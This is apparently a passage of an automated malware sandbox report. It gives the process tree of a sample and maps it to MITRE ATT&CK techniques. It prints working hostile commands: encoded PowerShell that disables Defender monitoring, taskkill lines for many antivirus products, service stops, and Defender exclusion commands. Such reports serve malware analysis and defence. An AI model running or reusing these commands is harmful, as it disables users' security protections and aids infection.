      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop "KSecDD""
    3⤵
    PID:4172
  - - C:\Windows\system32\sc.exe
      sc stop "KSecDD"
      4⤵
      Launches sc.exe
      PID:5504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop "MRxSmb""
    3⤵
    PID:5896
  - - C:\Windows\system32\sc.exe
      sc stop "MRxSmb"
      4⤵
      Launches sc.exe
      PID:2288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
    3⤵
    PID:3416
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avp.exe
      4⤵
      Kills process with taskkill
      PID:3396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
    3⤵
    PID:5464
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kav.exe
      4⤵
      Kills process with taskkill
      PID:5560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
    3⤵
    PID:4940
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4268
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kis.exe
      4⤵
      Kills process with taskkill
      PID:1932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ksc.exe"
    3⤵
    PID:1252
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ksc.exe
      4⤵
      Kills process with taskkill
      PID:6136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
    3⤵
    PID:2696
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kaspersky.exe
      4⤵
      Kills process with taskkill
      PID:2540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
    3⤵
    PID:2812
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drweb.exe
      4⤵
      PID:716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
    3⤵
    PID:5004
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im dwengine.exe
      4⤵
      Kills process with taskkill
      PID:2280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drwebservice.exe"
    3⤵
    PID:2768
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drwebservice.exe
      4⤵
      Kills process with taskkill
      PID:1076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    PID:1776
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      Kills process with taskkill
      PID:4116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    PID:3496
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      PID:2028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMTray.exe"
    3⤵
    PID:3936
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMTray.exe
      4⤵
      PID:5824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    PID:1600
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      PID:5652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    PID:2648
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      PID:3444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    PID:4628
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      PID:3064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avg.exe"
    3⤵
    PID:2172
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avg.exe
      4⤵
      Kills process with taskkill
      PID:3824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avast.exe"
    3⤵
    PID:2076
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avast.exe
      4⤵
      Kills process with taskkill
      PID:3236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AvastSvc.exe"
    3⤵
    PID:200
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AvastSvc.exe
      4⤵
      PID:4620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Norton.exe"
    3⤵
    PID:1092
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Norton.exe
      4⤵
      PID:2404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Symantec.exe"
    3⤵
    PID:2176
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Symantec.exe
      4⤵
      Kills process with taskkill
      PID:2684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im McAfee.exe"
    3⤵
    PID:4168
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im McAfee.exe
      4⤵
      Kills process with taskkill
      PID:5252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Mcshield.exe"
    3⤵
    PID:480
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Mcshield.exe
      4⤵
      PID:4852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Sophos.exe"
    3⤵
    PID:5624
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Sophos.exe
      4⤵
      PID:1220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SAVService.exe"
    3⤵
    PID:1932
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SAVService.exe
      4⤵
      Kills process with taskkill
      PID:3068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Bitdefender.exe"
    3⤵
    PID:1204
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Bitdefender.exe
      4⤵
      Kills process with taskkill
      PID:5732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im vsserv.exe"
    3⤵
    PID:1524
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im vsserv.exe
      4⤵
      PID:1408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ESET.exe"
    3⤵
    PID:1444
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ESET.exe
      4⤵
      PID:5784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ekrn.exe"
    3⤵
    PID:3300
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ekrn.exe
      4⤵
      Kills process with taskkill
      PID:2588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im F-Secure.exe"
    3⤵
    PID:1676
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im F-Secure.exe
      4⤵
      Kills process with taskkill
      PID:3136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im fsgk32.exe"
    3⤵
    PID:3316
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im fsgk32.exe
      4⤵
      PID:5776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im GData.exe"
    3⤵
    PID:4920
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im GData.exe
      4⤵
      PID:5916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AVK.exe"
    3⤵
    PID:4272
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AVK.exe
      4⤵
      Kills process with taskkill
      PID:5836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Panda.exe"
    3⤵
    PID:1588
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Panda.exe
      4⤵
      Kills process with taskkill
      PID:3468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im PavFnSvr.exe"
    3⤵
    PID:5952
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im PavFnSvr.exe
      4⤵
      PID:4964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TrendMicro.exe"
    3⤵
    PID:5588
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TrendMicro.exe
      4⤵
      PID:4496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TmCCSF.exe"
    3⤵
    PID:4644
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TmCCSF.exe
      4⤵
      Kills process with taskkill
      PID:2064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBhAHYAcAAiACwAIgBrAGEAdgAiACwAIgBrAGkAcwAiACwAIgBrAHMAYwAiACwAIgBrAGEAcwBwAGUAcgBzAGsAeQAiACwAIgBkAHIAdwBlAGIAIgAsACIAZAB3AGUAbgBnAGkAbgBlACIALAAiAE0AQgBBAE0AUwBlAHIAdgBpAGMAZQAiACwAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIgBNAHMATQBwAEUAbgBnACIALAAiAGEAdgBnACIALAAiAGEAdgBhAHMAdAAiACwAIgBOAG8AcgB0AG8AbgAiACwAIgBTAHkAbQBhAG4AdABlAGMAIgAsACIATQBjAEEAZgBlAGUAIgAsACIAUwBvAHAAaABvAHMAIgAsACIAQgBpAHQAZABlAGYAZQBuAGQAZQByACIALAAiAEUAUwBFAFQAIgAsACIARgAtAFMAZQBjAHUAcgBlACIALAAiAEcARABhAHQAYQAiACwAIgBQAGEAbgBkAGEAIgAsACIAVAByAGUAbgBkAE0AaQBjAHIAbwAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJABwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAdABvAHAALQBQAHIAbwBjAGUAcwBzACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB9AA=="
    3⤵
    PID:4568
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBhAHYAcAAiACwAIgBrAGEAdgAiACwAIgBrAGkAcwAiACwAIgBrAHMAYwAiACwAIgBrAGEAcwBwAGUAcgBzAGsAeQAiACwAIgBkAHIAdwBlAGIAIgAsACIAZAB3AGUAbgBnAGkAbgBlACIALAAiAE0AQgBBAE0AUwBlAHIAdgBpAGMAZQAiACwAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIgBNAHMATQBwAEUAbgBnACIALAAiAGEAdgBnACIALAAiAGEAdgBhAHMAdAAiACwAIgBOAG8AcgB0AG8AbgAiACwAIgBTAHkAbQBhAG4AdABlAGMAIgAsACIATQBjAEEAZgBlAGUAIgAsACIAUwBvAHAAaABvAHMAIgAsACIAQgBpAHQAZABlAGYAZQBuAGQAZQByACIALAAiAEUAUwBFAFQAIgAsACIARgAtAFMAZQBjAHUAcgBlACIALAAiAEcARABhAHQAYQAiACwAIgBQAGEAbgBkAGEAIgAsACIAVAByAGUAbgBkAE0AaQBjAHIAbwAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJABwACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAdABvAHAALQBQAHIAbwBjAGUAcwBzACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB9AA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    PID:2404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACwAIAAiAE0AQgBBAE0AVwBzAGMAIgAsACAAIgBtAGIAYQBtACIALAAgACIATQBCAEEATQBDAGgAYQBtAGUAbABlAG8AbgAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUwBlAHIAdgBpAGMAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoARwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAIgBNAEIAQQBNAEMAaABhAG0AZQBsAGUAbwBuACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAUwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      PID:3204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA"
    3⤵
    PID:5672
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIAAkAHQAcgB1AGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
      4⤵
      PID:3588
- - C:\Users\Admin\AppData\Local\Temp\_temp_7kd8oue_\program1.exe
    "C:\Users\Admin\AppData\Local\Temp\_temp_7kd8oue_\program1.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_temp_7kd8oue_\program2.exe"
    3⤵
    PID:2092
  - - C:\Users\Admin\AppData\Local\Temp\_temp_7kd8oue_\program2.exe
      C:\Users\Admin\AppData\Local\Temp\_temp_7kd8oue_\program2.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:5900
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: AddClipboardFormatListener
        Suspicious use of SetWindowsHookEx
        
        PID:3784
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:2328
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RegSvcs.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:1144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3908

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry